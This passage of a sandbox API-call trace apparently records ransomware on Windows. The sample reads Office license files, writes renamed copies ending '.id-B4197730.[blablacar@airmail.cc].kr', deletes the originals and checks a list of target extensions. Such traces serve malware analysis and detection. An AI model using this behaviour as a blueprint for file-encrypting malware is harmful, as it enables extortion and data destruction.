lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.939] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0198.939] lstrlenW (lpString="HomeStudentR_Retail-ul-oob.xrm-ms") returned 33 [0198.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0198.940] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11604) returned 1 [0198.940] CloseHandle (hObject=0x558) returned 1 [0198.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 0x220 [0198.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0198.941] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.941] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0198.942] GetLastError () returned 0x0 [0198.942] ReadFile (in: hFile=0x558, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d54, lpOverlapped=0x0) returned 1 [0198.944] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0198.945] ReadFile (in: hFile=0x558, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.945] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x116, lpOverlapped=0x0) returned 1 [0198.945] SetEndOfFile (hFile=0x55c) returned 1 [0198.945] CloseHandle (hObject=0x55c) returned 1 [0198.945] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.945] SetEndOfFile (hFile=0x558) returned 1 [0198.949] CloseHandle (hObject=0x558) returned 1 [0198.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 1 [0198.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0198.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0198.950] lstrlenW (lpString=".doc") returned 4 [0198.950] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.950] lstrlenW (lpString=".docx") returned 5 [0198.950] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.950] lstrlenW (lpString=".pdf") returned 4 [0198.951] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.951] lstrlenW (lpString=".xls") returned 4 [0198.951] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.951] lstrlenW (lpString=".xlsx") returned 5 [0198.951] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.951] lstrlenW (lpString=".ppt") returned 4 [0198.951] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0198.951] lstrlenW (lpString=".zip") returned 4 [0198.951] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.951] lstrlenW (lpString=".rar") returned 4 [0198.951] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.951] lstrlenW (lpString=".bz2") returned 4 [0198.951] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.951] lstrlenW (lpString=".7z") returned 3 [0198.951] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0198.951] lstrlenW (lpString=".dbf") returned 4 [0198.951] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0198.951] lstrlenW (lpString=".1cd") returned 4 [0198.951] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0198.951] lstrlenW (lpString=".jpg") returned 4 [0198.951] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0198.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0198.951] lstrlenW (lpString=".doc") returned 4 [0198.951] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.951] lstrlenW (lpString=".docx") returned 5 [0198.952] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.952] lstrlenW (lpString=".pdf") returned 4 [0198.952] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.952] lstrlenW (lpString=".xls") returned 4 [0198.952] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.952] lstrlenW (lpString=".xlsx") returned 5 [0198.952] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.952] lstrlenW (lpString=".ppt") returned 4 [0198.952] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0198.952] lstrlenW (lpString=".zip") returned 4 [0198.952] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.952] lstrlenW (lpString=".rar") returned 4 [0198.952] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.952] lstrlenW (lpString=".bz2") returned 4 [0198.952] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.952] lstrlenW (lpString=".7z") returned 3 [0198.952] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0198.952] lstrlenW (lpString=".dbf") returned 4 [0198.952] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0198.952] lstrlenW (lpString=".1cd") returned 4 [0198.952] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0198.952] lstrlenW (lpString=".jpg") returned 4 [0198.952] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.952] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0198.953] lstrlenW (lpString="HomeStudentR_Retail-ul-phn.xrm-ms") returned 33 [0198.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0198.953] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19949) returned 1 [0198.953] CloseHandle (hObject=0x558) returned 1 [0198.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 0x220 [0198.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0198.954] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.954] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0198.955] GetLastError () returned 0x0 [0198.955] ReadFile (in: hFile=0x558, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x4ded, lpOverlapped=0x0) returned 1 [0198.958] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x4df0, lpOverlapped=0x0) returned 1 [0198.959] ReadFile (in: hFile=0x558, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.959] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x116, lpOverlapped=0x0) returned 1 [0198.959] SetEndOfFile (hFile=0x55c) returned 1 [0198.959] CloseHandle (hObject=0x55c) returned 1 [0198.960] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.960] SetEndOfFile (hFile=0x558) returned 1 [0199.494] CloseHandle (hObject=0x558) returned 1 [0199.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 1 [0199.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0199.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0199.496] lstrlenW (lpString=".doc") returned 4 [0199.497] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.497] lstrlenW (lpString=".docx") returned 5 [0199.497] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.497] lstrlenW (lpString=".pdf") returned 4 [0199.497] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.497] lstrlenW (lpString=".xls") returned 4 [0199.497] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.497] lstrlenW (lpString=".xlsx") returned 5 [0199.497] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.498] lstrlenW (lpString=".ppt") returned 4 [0199.498] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0199.498] lstrlenW (lpString=".zip") returned 4 [0199.498] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.498] lstrlenW (lpString=".rar") returned 4 [0199.498] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.498] lstrlenW (lpString=".bz2") returned 4 [0199.498] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.498] lstrlenW (lpString=".7z") returned 3 [0199.498] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0199.498] lstrlenW (lpString=".dbf") returned 4 [0199.498] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0199.498] lstrlenW (lpString=".1cd") returned 4 [0199.498] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0199.498] lstrlenW (lpString=".jpg") returned 4 [0199.498] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0199.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0199.498] lstrlenW (lpString=".doc") returned 4 [0199.498] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.498] lstrlenW (lpString=".docx") returned 5 [0199.498] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.498] lstrlenW (lpString=".pdf") returned 4 [0199.498] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.498] lstrlenW (lpString=".xls") returned 4 [0199.499] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.499] lstrlenW (lpString=".xlsx") returned 5 [0199.499] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.499] lstrlenW (lpString=".ppt") returned 4 [0199.499] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0199.499] lstrlenW (lpString=".zip") returned 4 [0199.499] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.499] lstrlenW (lpString=".rar") returned 4 [0199.499] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.499] lstrlenW (lpString=".bz2") returned 4 [0199.499] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.499] lstrlenW (lpString=".7z") returned 3 [0199.499] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0199.499] lstrlenW (lpString=".dbf") returned 4 [0199.499] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0199.499] lstrlenW (lpString=".1cd") returned 4 [0199.499] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0199.499] lstrlenW (lpString=".jpg") returned 4 [0199.499] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.556] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.556] lstrlenW (lpString="MondoR_BypassTrial180-pl.xrm-ms") returned 31 [0199.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.563] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11175) returned 1 [0199.563] CloseHandle (hObject=0x550) returned 1 [0199.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0199.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.564] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.564] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.565] GetLastError () returned 0x0 [0199.565] ReadFile (in: hFile=0x550, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2ba7, lpOverlapped=0x0) returned 1 [0199.568] WriteFile (in: hFile=0x548, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0199.569] ReadFile (in: hFile=0x550, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0199.570] WriteFile (in: hFile=0x548, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x112, lpOverlapped=0x0) returned 1 [0199.570] SetEndOfFile (hFile=0x548) returned 1 [0199.570] CloseHandle (hObject=0x548) returned 1 [0199.570] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0199.570] SetEndOfFile (hFile=0x550) returned 1 [0199.573] CloseHandle (hObject=0x550) returned 1 [0199.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 1 [0199.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0199.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0199.575] lstrlenW (lpString=".doc") returned 4 [0199.575] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.575] lstrlenW (lpString=".docx") returned 5 [0199.575] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.575] lstrlenW (lpString=".pdf") returned 4 [0199.575] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.575] lstrlenW (lpString=".xls") returned 4 [0199.575] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.575] lstrlenW (lpString=".xlsx") returned 5 [0199.575] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.575] lstrlenW (lpString=".ppt") returned 4 [0199.575] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0199.575] lstrlenW (lpString=".zip") returned 4 [0199.575] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.575] lstrlenW (lpString=".rar") returned 4 [0199.575] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.575] lstrlenW (lpString=".bz2") returned 4 [0199.575] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.575] lstrlenW (lpString=".7z") returned 3 [0199.575] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0199.575] lstrlenW (lpString=".dbf") returned 4 [0199.575] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0199.575] lstrlenW (lpString=".1cd") returned 4 [0199.575] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0199.575] lstrlenW (lpString=".jpg") returned 4 [0199.575] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0199.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0199.576] lstrlenW (lpString=".doc") returned 4 [0199.576] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.576] lstrlenW (lpString=".docx") returned 5 [0199.576] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.576] lstrlenW (lpString=".pdf") returned 4 [0199.576] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.576] lstrlenW (lpString=".xls") returned 4 [0199.576] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.576] lstrlenW (lpString=".xlsx") returned 5 [0199.576] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.576] lstrlenW (lpString=".ppt") returned 4 [0199.576] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0199.576] lstrlenW (lpString=".zip") returned 4 [0199.576] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.576] lstrlenW (lpString=".rar") returned 4 [0199.576] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.576] lstrlenW (lpString=".bz2") returned 4 [0199.576] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.576] lstrlenW (lpString=".7z") returned 3 [0199.576] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0199.576] lstrlenW (lpString=".dbf") returned 4 